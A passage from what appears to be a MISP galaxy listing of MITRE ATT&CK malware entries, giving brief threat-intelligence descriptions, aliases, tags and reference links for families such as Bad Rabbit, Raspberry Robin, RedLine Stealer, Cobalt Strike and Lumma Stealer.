- similar: misp-galaxy:rat="4H RAT" with estimative-language:likelihood-probability="likely"

Table 10922. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/software/S0065

Desert Scorpion - S0505

[Desert Scorpion](https://attack.mitre.org/software/S0505) is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. [Desert Scorpion](https://attack.mitre.org/software/S0505) is suspected to have been operated by the threat actor [APT-C-23](https://attack.mitre.org/groups/G1028).(Citation: Lookout Desert Scorpion)

There are multiple close variants of [Desert Scorpion](https://attack.mitre.org/software/S0505), such as VAMP(Citation: Unit42 VAMP 2017), GnatSpy(Citation: Trendmicro GnatSpy 2017), [FrozenCell](https://attack.mitre.org/software/S0577) and [SpyC23](https://attack.mitre.org/software/S1195), which add some additional functionality but are not significantly different from the original malware.

The tag is: *misp-galaxy:mitre-malware="Desert Scorpion - S0505"*

Desert Scorpion - S0505 is also known as:

- Desert Scorpion

Table 10923. Table References

Links
https://attack.mitre.org/software/S0505
https://blog.lookout.com/desert-scorpion-google-play
https://unit42.paloaltonetworks.com/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
https://www.trendmicro.com/en_us/research/17/l/new-gnatspy-mobile-malware-family-discovered.html

Net Crawler - S0056

[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance

Cleaver)

The tag is: *misp-galaxy:mitre-malware="Net Crawler - S0056"*

Net Crawler - S0056 is also known as:

- Net Crawler
- NetC

View relationships graph

Net Crawler - S0056 has relationships with:

- similar: misp-galaxy:malpedia="NetC" with estimative-language:likelihood-probability="likely"

Table 10924. Table References

Links
https://attack.mitre.org/software/S0056
https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Bad Rabbit - S0606

[Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos Apr 2019)

The tag is: *misp-galaxy:mitre-malware="Bad Rabbit - S0606"*

Bad Rabbit - S0606 is also known as:

- Bad Rabbit
- Win32/Diskcoder.D

Table 10925. Table References

Links
https://attack.mitre.org/software/S0606
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://securelist.com/bad-rabbit-ransomware/82851/
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/

Green Lambert - S0690

[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security

researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)

The tag is: *misp-galaxy:mitre-malware="Green Lambert - S0690"*

Green Lambert - S0690 is also known as:

- Green Lambert

Table 10926. Table References

Links
https://attack.mitre.org/software/S0690
https://objective-see.com/blog/blog_0x68.html
https://securelist.com/unraveling-the-lamberts-toolkit/77990/

Raspberry Robin - S1130

[Raspberry Robin](https://attack.mitre.org/software/S1130) is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. [Raspberry Robin](https://attack.mitre.org/software/S1130) has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as [SocGholish](https://attack.mitre.org/software/S1124), [Cobalt Strike](https://attack.mitre.org/software/S0154), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: TrendMicro RaspberryRobin 2022)(Citation: RedCanary RaspberryRobin 2022)(Citation: HP RaspberryRobin 2024) The DLL componenet in the [Raspberry Robin](https://attack.mitre.org/software/S1130) infection chain is also referred to as "Roshtyak."(Citation: Avast RaspberryRobin 2022) The name "Raspberry Robin" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as <code>Storm-0856</code> by some vendors.(Citation: Microsoft RaspberryRobin 2022)

The tag is: *misp-galaxy:mitre-malware="Raspberry Robin - S1130"*

Raspberry Robin - S1130 is also known as:

- Raspberry Robin

Table 10927. Table References

Links
https://attack.mitre.org/software/S1130
https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/
https://redcanary.com/blog/threat-intelligence/raspberry-robin/

https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html

BlackByte Ransomware - S1180

[BlackByte Ransomware](https://attack.mitre.org/software/S1180) is uniquely associated with [BlackByte](https://attack.mitre.org/groups/G1043) operations. [BlackByte Ransomware](https://attack.mitre.org/software/S1180) used a common key for infections, allowing for the creation of a universal decryptor.(Citation: Trustwave BlackByte 2021)(Citation: FBI BlackByte 2022) [BlackByte Ransomware](https://attack.mitre.org/software/S1180) was replaced in [BlackByte](https://attack.mitre.org/groups/G1043) operations by [BlackByte 2.0 Ransomware](https://attack.mitre.org/software/S1181) by 2023.(Citation: Microsoft BlackByte 2023)(Citation: Cisco BlackByte 2024)

The tag is: *misp-galaxy:mitre-malware="BlackByte Ransomware - S1180"*

BlackByte Ransomware - S1180 is also known as:

- BlackByte Ransomware

Table 10928. Table References

Links
https://attack.mitre.org/software/S1180
https://blog.talosintelligence.com/blackbyte-blends-tried-and-true-tradecraft-with-newly-disclosed-vulnerabilities-to-support-ongoing-attacks/
https://www.ic3.gov/CSA/2022/220211.pdf
https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/

Saint Bot - S1018

[Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022)

The tag is: *misp-galaxy:mitre-malware="Saint Bot - S1018"*

Saint Bot - S1018 is also known as:

- Saint Bot

Table 10929. Table References

Links
https://attack.mitre.org/software/S1018
https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/
https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/

RedLine Stealer - S1240

[RedLine Stealer](https://attack.mitre.org/software/S1240) is an information-stealer malware variant first identified in 2020.(Citation: ESET RedLine Stealer November 2024)(Citation: Proofpoint RedLine Stealer March 2020)(Citation: Splunk RedLine Stealer June 2023) [RedLine Stealer](https://attack.mitre.org/software/S1240) is a Malware as a Service (MaaS) and was reportedly sold as either a one-time purchase or a monthly subscription service.(Citation: ESET RedLine Stealer November 2024)(Citation: Veriti RedLine Stealer MAAS April 2023) Information obtained from [RedLine Stealer](https://attack.mitre.org/software/S1240) has been known to be sold on the deep and dark web to Initial Access Brokers (IABs), who use or resell the stolen credentials for further intrusions.(Citation: Kroll RedLine Stealer August 2024)(Citation: Veriti RedLine Stealer MAAS April 2023)

The tag is: *misp-galaxy:mitre-malware="RedLine Stealer - S1240"*

RedLine Stealer - S1240 is also known as:

- RedLine Stealer

Table 10930. Table References

Links
https://attack.mitre.org/software/S1240
https://veriti.ai/blog/veriti-research/from-chatgpt-to-redline-stealer-the-dark-side-of-openai-and-google-bard/
https://www.kroll.com/en/publications/cyber/redlinestealer-malware
https://www.proofpoint.com/us/blog/threat-insight/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign
https://www.splunk.com/en_us/blog/security/do-not-cross-the-redline-stealer-detections-and-analysis.html
https://www.welivesecurity.com/en/eset-research/life-crooked-redline-analyzing-infamous-infostealers-backend/

Heyoka Backdoor - S1027

[Heyoka Backdoor](https://attack.mitre.org/software/S1027) is a custom backdoor—based on the Heyoka open source exfiltration tool—that has been used by [Aoqin Dragon](https://attack.mitre.org/groups/G1007) since at least 2013.(Citation: SentinelOne Aoqin

Dragon June 2022)(Citation: Sourceforge Heyoka 2022)

The tag is: *misp-galaxy:mitre-malware="Heyoka Backdoor - S1027"*

Heyoka Backdoor - S1027 is also known as:

- Heyoka Backdoor

Table 10931. Table References

Links
https://attack.mitre.org/software/S1027
https://heyoka.sourceforge.net/
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

Action RAT - S1028

[Action RAT](https://attack.mitre.org/software/S1028) is a remote access tool written in Delphi that has been used by [SideCopy](https://attack.mitre.org/groups/G1008) since at least December 2021 against Indian and Afghani government personnel.(Citation: MalwareBytes SideCopy Dec 2021)

The tag is: *misp-galaxy:mitre-malware="Action RAT - S1028"*

Action RAT - S1028 is also known as:

- Action RAT

Table 10932. Table References

Links
https://attack.mitre.org/software/S1028
https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure

AutoIt backdoor - S0129

[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.

The tag is: *misp-galaxy:mitre-malware="AutoIt backdoor - S0129"*

AutoIt backdoor - S0129 is also known as:

- AutoIt backdoor

Table 10933. Table References

Links
https://attack.mitre.org/software/S0129
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

AuTo Stealer - S1029

[AuTo Stealer](https://attack.mitre.org/software/S1029) is malware written in C++ has been used by [SideCopy](https://attack.mitre.org/groups/G1008) since at least December 2021 to target government agencies and personnel in India and Afghanistan.(Citation: MalwareBytes SideCopy Dec 2021)

The tag is: *misp-galaxy:mitre-malware="AuTo Stealer - S1029"*

AuTo Stealer - S1029 is also known as:

- AuTo Stealer

Table 10934. Table References

Links
https://attack.mitre.org/software/S1029
https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure

Agent Tesla - S0331

[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)

The tag is: *misp-galaxy:mitre-malware="Agent Tesla - S0331"*

Agent Tesla - S0331 is also known as:

- Agent Tesla

Table 10935. Table References

Links
https://attack.mitre.org/software/S0331
https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/
https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html
https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/

https://www.digitrustgroup.com/agent-tesla-keylogger/	
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html	

Small Sieve - S1035

[Small Sieve](https://attack.mitre.org/software/S1035) is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least January 2022.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: NCSC GCHQ Small Sieve Jan 2022)

Security researchers have also noted [Small Sieve](https://attack.mitre.org/software/S1035)'s use by UNC3313, which may be associated with [MuddyWater](https://attack.mitre.org/groups/G0069).(Citation: Mandiant UNC3313 Feb 2022)

The tag is: *misp-galaxy:mitre-malware="Small Sieve - S1035"*

Small Sieve - S1035 is also known as:

- Small Sieve
- GRAMDOOR

Table 10936. Table References

Links
https://attack.mitre.org/software/S1035
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a
https://www.mandiant.com/resources/telegram-malware-iranian-espionage
https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf

Cobalt Strike - S0154

[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual)

The tag is: *misp-galaxy:mitre-malware="Cobalt Strike - S0154"*

Cobalt Strike - S0154 is also known as:

- Cobalt Strike

Table 10937. Table References

Links
https://attack.mitre.org/software/S0154
https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf

Ragnar Locker - S0481

[Ragnar Locker](https://attack.mitre.org/software/S0481) is a ransomware that has been in use since at least December 2019.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)

The tag is: *misp-galaxy:mitre-malware="Ragnar Locker - S0481"*

Ragnar Locker - S0481 is also known as:

- Ragnar Locker

View relationships graph

Ragnar Locker - S0481 has relationships with:

- similar: misp-galaxy:ransomware="Ragnar Locker" with estimative-language:likelihood-probability="likely"

Table 10938. Table References

Links
https://attack.mitre.org/software/S0481
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/

Woody RAT - S1065

```
[Woody RAT](https://attack.mitre.org/software/S1065) is a remote access trojan (RAT)
that has been used since at least August 2021 against Russian organizations.(Citation:
MalwareBytes WoodyRAT Aug 2022)
```

The tag is: *misp-galaxy:mitre-malware="Woody RAT - S1065"*

Woody RAT - S1065 is also known as:

- Woody RAT

Table 10939. Table References

Links

https://attack.mitre.org/software/S1065
https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild

SYNful Knock - S0519

[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)

The tag is: *misp-galaxy:mitre-malware="SYNful Knock - S0519"*

SYNful Knock - S0519 is also known as:

- SYNful Knock

Table 10940. Table References

Links
https://attack.mitre.org/software/S0519
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/

Power Loader - S0177

[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

The tag is: *misp-galaxy:mitre-malware="Power Loader - S0177"*

Table 10941. Table References

Links
https://attack.mitre.org/software/S0177
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

HUI Loader - S1097

[HUI Loader](https://attack.mitre.org/software/S1097) is a custom DLL loader that has been used since at least 2015 by China-based threat groups including [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) and [menuPass](https://attack.mitre.org/groups/G0045) to deploy malware on compromised hosts. [HUI Loader](https://attack.mitre.org/software/

S1097) has been observed in campaigns loading [SodaMaster](https://attack.mitre.org/software/S0627), [PlugX](https://attack.mitre.org/software/S0013), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Komplex](https://attack.mitre.org/software/S0162), and several strains of ransomware.(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)

The tag is: *misp-galaxy:mitre-malware="HUI Loader - S1097"*

HUI Loader - S1097 is also known as:

- HUI Loader

Table 10942. Table References

Links
https://attack.mitre.org/software/S1097
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader

Brave Prince - S0252

[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)

The tag is: *misp-galaxy:mitre-malware="Brave Prince - S0252"*

Brave Prince - S0252 is also known as:

- Brave Prince

Table 10943. Table References

Links
https://attack.mitre.org/software/S0252
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Smoke Loader - S0226

[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware. [Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)

The tag is: *misp-galaxy:mitre-malware="Smoke Loader - S0226"*

Smoke Loader - S0226 is also known as:

- Smoke Loader
- Dofoil

View relationships graph

Smoke Loader - S0226 has relationships with:

- similar: misp-galaxy:tool="Smoke Loader" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"

Table 10944. Table References

Links
https://attack.mitre.org/software/S0226
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/

Linux Rabbit - S0362

[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)

The tag is: *misp-galaxy:mitre-malware="Linux Rabbit - S0362"*

Linux Rabbit - S0362 is also known as:

- Linux Rabbit

Table 10945. Table References

Links
https://attack.mitre.org/software/S0362
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat

Stealth Mango - S0328

[Stealth Mango](https://attack.mitre.org/software/S0328) is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the

military, medical professionals, and civilians. The iOS malware known as [Tangelo](https://attack.mitre.org/software/S0329) is believed to be from the same developer. (Citation: Lookout-StealthMango)

The tag is: *misp-galaxy:mitre-malware="Stealth Mango - S0328"*

Stealth Mango - S0328 is also known as:

- Stealth Mango

Table 10946. Table References

Links
https://attack.mitre.org/software/S0328
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf

Corona Updates - S0425

[Corona Updates](https://attack.mitre.org/software/S0425) is Android spyware that took advantage of the Coronavirus pandemic. The campaign distributing this spyware is tracked as Project Spy. Multiple variants of this spyware have been discovered to have been hosted on the Google Play Store.(Citation: TrendMicro Coronavirus Updates)

The tag is: *misp-galaxy:mitre-malware="Corona Updates - S0425"*

Corona Updates - S0425 is also known as:

- Corona Updates
- Wabi Music
- Concipit1248

Table 10947. Table References

Links
https://attack.mitre.org/software/S0425
https://blog.trendmicro.com/trendlabs-security-intelligence/coronavirus-update-app-leads-to-project-spy-android-and-ios-spyware/

Gold Dragon - S0249

[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)

The tag is: *misp-galaxy:mitre-malware="Gold Dragon - S0249"*

Gold Dragon - S0249 is also known as:

- Gold Dragon

Table 10948. Table References

Links
https://attack.mitre.org/software/S0249
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Caterpillar WebShell - S0572

[Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021)

The tag is: *misp-galaxy:mitre-malware="Caterpillar WebShell - S0572"*

Caterpillar WebShell - S0572 is also known as:

- Caterpillar WebShell

Table 10949. Table References

Links
https://attack.mitre.org/software/S0572
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

Cobian RAT - S0338

[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)

The tag is: *misp-galaxy:mitre-malware="Cobian RAT - S0338"*

Cobian RAT - S0338 is also known as:

- Cobian RAT

Table 10950. Table References

Links
https://attack.mitre.org/software/S0338
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

Cardinal RAT - S0348

[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)

The tag is: *misp-galaxy:mitre-malware="Cardinal RAT - S0348"*

Cardinal RAT - S0348 is also known as:

- Cardinal RAT

Table 10951. Table References

Links
https://attack.mitre.org/software/S0348
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/

Golden Cup - S0535

[Golden Cup](https://attack.mitre.org/software/S0535) is Android spyware that has been used to target World Cup fans.(Citation: Symantec GoldenCup)

The tag is: *misp-galaxy:mitre-malware="Golden Cup - S0535"*

Golden Cup - S0535 is also known as:

- Golden Cup

Table 10952. Table References

Links
https://attack.mitre.org/software/S0535
https://symantec-enterprise-blogs.security.com/blogs/expert-perspectives/goldencup-new-cyber-threat-targeting-world-cup-fans

Olympic Destroyer - S0365

[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020)

The tag is: *misp-galaxy:mitre-malware="Olympic Destroyer - S0365"*

Olympic Destroyer - S0365 is also known as:

- Olympic Destroyer

Table 10953. Table References

Links
https://attack.mitre.org/software/S0365
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.justice.gov/opa/press-release/file/1328521/download

Revenge RAT - S0379

[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)

The tag is: *misp-galaxy:mitre-malware="Revenge RAT - S0379"*

Revenge RAT - S0379 is also known as:

- Revenge RAT

Table 10954. Table References

Links
https://attack.mitre.org/software/S0379
https://web.archive.org/web/20200428173819/https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517

Rising Sun - S0448

[Rising Sun](https://attack.mitre.org/software/S0448) is a modular backdoor that was used extensively in [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013) between 2017 and 2019. [Rising Sun](https://attack.mitre.org/software/S0448) infected at least 87 organizations around the world, including nuclear, defense, energy, and financial service companies. Security researchers assessed [Rising Sun](https://attack.mitre.org/software/S0448) included some source code from [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Trojan Duuzer.(Citation: McAfee Sharpshooter December 2018)

The tag is: *misp-galaxy:mitre-malware="Rising Sun - S0448"*

Rising Sun - S0448 is also known as:

- Rising Sun

Table 10955. Table References

Links
https://attack.mitre.org/software/S0448
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf

JSS Loader - S0648

[JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)

The tag is: *misp-galaxy:mitre-malware="JSS Loader - S0648"*

JSS Loader - S0648 is also known as:

- JSS Loader

Table 10956. Table References

Links
https://attack.mitre.org/software/S0648
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc

DEFENSOR ID - S0479

[DEFENSOR ID](https://attack.mitre.org/software/S0479) is a banking trojan capable of clearing a victim's bank account or cryptocurrency wallet and taking over email or social media accounts. [DEFENSOR ID](https://attack.mitre.org/software/S0479) performs the majority of its malicious functionality by abusing Android's accessibility service.(Citation: ESET DEFENSOR ID)

The tag is: *misp-galaxy:mitre-malware="DEFENSOR ID - S0479"*

DEFENSOR ID - S0479 is also known as:

- DEFENSOR ID

Table 10957. Table References

Links
https://attack.mitre.org/software/S0479
https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/

Tiktok Pro - S0558

[Tiktok Pro](https://attack.mitre.org/software/S0558) is spyware that has been masquerading as the TikTok application.(Citation: Zscaler TikTok Spyware)

The tag is: *misp-galaxy:mitre-malware="Tiktok Pro - S0558"*

Tiktok Pro - S0558 is also known as:

- Tiktok Pro

Table 10958. Table References

Links
https://attack.mitre.org/software/S0558
https://www.zscaler.com/blogs/security-research/tiktok-spyware

Cyclops Blink - S0687

[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. [Cyclops Blink](https://attack.mitre.org/software/S0687) is assessed to be a replacement for [VPNFilter](https://attack.mitre.org/software/S1010), a similar platform targeting network devices.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)

The tag is: *misp-galaxy:mitre-malware="Cyclops Blink - S0687"*

Cyclops Blink - S0687 is also known as:

- Cyclops Blink

Table 10959. Table References

Links
https://attack.mitre.org/software/S0687
https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf
https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter
https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html

IPsec Helper - S1132

[IPsec Helper](https://attack.mitre.org/software/S1132) is a post-exploitation remote access tool linked to [Agrius](https://attack.mitre.org/groups/G1030) operations. This malware shares significant programming and functional overlaps with [Apostle](https://attack.mitre.org/software/

S1133) ransomware, also linked to [Agrius](https://attack.mitre.org/groups/G1030). [IPsec Helper](https://attack.mitre.org/software/S1132) provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.(Citation: SentinelOne Agrius 2021)

The tag is: *misp-galaxy:mitre-malware="IPsec Helper - S1132"*

IPsec Helper - S1132 is also known as:

- IPsec Helper

Table 10960. Table References

Links
https://assets.sentinelone.com/sentinellabs/evol-agrius
https://attack.mitre.org/software/S1132

Lumma Stealer - S1213

[Lumma Stealer](https://attack.mitre.org/software/S1213) is an information stealer malware family in use since at least 2022. [Lumma Stealer](https://attack.mitre.org/software/S1213) is a Malware as a Service (MaaS) where captured data has been sold in criminal markets to Initial Access Brokers.(Citation: Cybereason LumaStealer Undated)(Citation: Netskope LummaStealer 2025)(Citation: Qualys LummaStealer 2024)(Citation: Fortinet LummaStealer 2024)(Citation: TrendMicro LummaStealer 2025)

The tag is: *misp-galaxy:mitre-malware="Lumma Stealer - S1213"*

Lumma Stealer - S1213 is also known as:

- Lumma Stealer
- LummaStealer

Table 10961. Table References

Links
https://attack.mitre.org/software/S1213
https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha
https://www.cybereason.com/blog/threat-analysis-rise-of-lummastealer
https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube
https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
https://www.trendmicro.com/en_us/research/25/a/lumma-stealers-github-based-delivery-via-mdr.html

Akira _v2 - S1194

